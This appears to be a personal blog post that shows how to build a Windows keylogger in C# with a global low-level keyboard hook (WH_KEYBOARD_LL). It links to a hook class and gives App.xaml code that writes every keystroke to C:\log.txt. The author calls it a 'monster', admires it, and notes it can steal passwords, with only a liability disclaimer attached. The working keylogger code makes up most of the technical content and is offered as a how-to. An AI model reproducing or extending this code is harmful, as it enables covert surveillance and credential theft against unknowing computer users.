DISCLAIMER: I accept no liability for the consequences of any actions taken on the basis of the information provided.

Such a wonderful concept, so powerful .. It dazzles me.

Introduction:

*"In computer programming, the term **hooking** covers a range of techniques used to alter or augment the behavior of an operating system, of applications, or of other software components by intercepting function calls or messages or events passed between software components. Code that handles such intercepted function calls, events or messages is called a "hook".*

Hooking is used for many purposes, including debugging and extending functionality. Examples might include intercepting keyboard or mouse event messages before they reach an application, or intercepting operating system calls in order to monitor behavior or modify the function of an application or other component." - Wikipedia

So that means, one can intercept the keyboard/mouse events that are occurring globally in an Operating System.

With a concept like this , one can write malicious code which can compromise the security of an Operating System(Windows). Its easy to write an application which will set a hook on the keyboard events occurring globally.

Sounds familiar? Yeah!! I'm talking about the Invisible monster - Keylogger.

Definition: *" A **keylogger** is a hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press.*

Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Keyloggers can also be used by a family (or business) to monitor the network usage of people without their direct knowledge. Finally, malicious individuals may use keyloggers on public computers to steal passwords or credit card information." - compnetworking.about.com

Coding the monster : (I like calling it that way!)

http://stackoverflow.com/questions/1639331/using-global-keyboard-hook-wh-keyboard-ll-in-wpf-c

I have found this article while browsing which has some decent code . It basically sets up a hook on keyboard events using WH_KEYBOARD_LL flag.

So now you create a new project (say wpf application).Add an Item(code file say util.cs).

copy the class from the above mentioned site into the util.cs.

Now in the open the App.xaml . Go to the code

Add something like this :

```
public partial class App : Application
{
StreamWriter sw;
YOURUTILSNAMESPACE.Keyboard.KeyboardListener KListener = new KeyboardListener();
private void Application_Startup(object sender, StartupEventArgs e)
{
KListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
sw = new StreamWriter("c:\\log.txt", false);
}
void KListener_KeyDown(object sender,RawKeyEventArgs args)
{
//Console.WriteLine(args.Key.ToString());


sw.Write(args.Key.ToString());
sw.Flush();
}
private void Application_Exit(object sender, ExitEventArgs e)
{


sw.Close();
KListener.Dispose(); }
}
```

.

Let me explain what exactly we are doing here .

* We have added an event handler KListener_KeyDown which handles the Keyboard Messages . So whenever the desired event occurs it is routed back to this handler using the callback procedure used in the util.cs.

```
void KListener_KeyDown(object sender,RawKeyEventArgs args)
{
//Console.WriteLine(args.Key.ToString());


sw.Write(args.Key.ToString());
sw.Flush();
}
```

This is where your key strokes are gonna be logged. We have created a stream writer object which flushes the key strokes to the mentioned path .In this case it is "C:\\log.txt";

Such a wonderful concept, yet dangerous! isnt it?

Think big. Think tank.
Srujan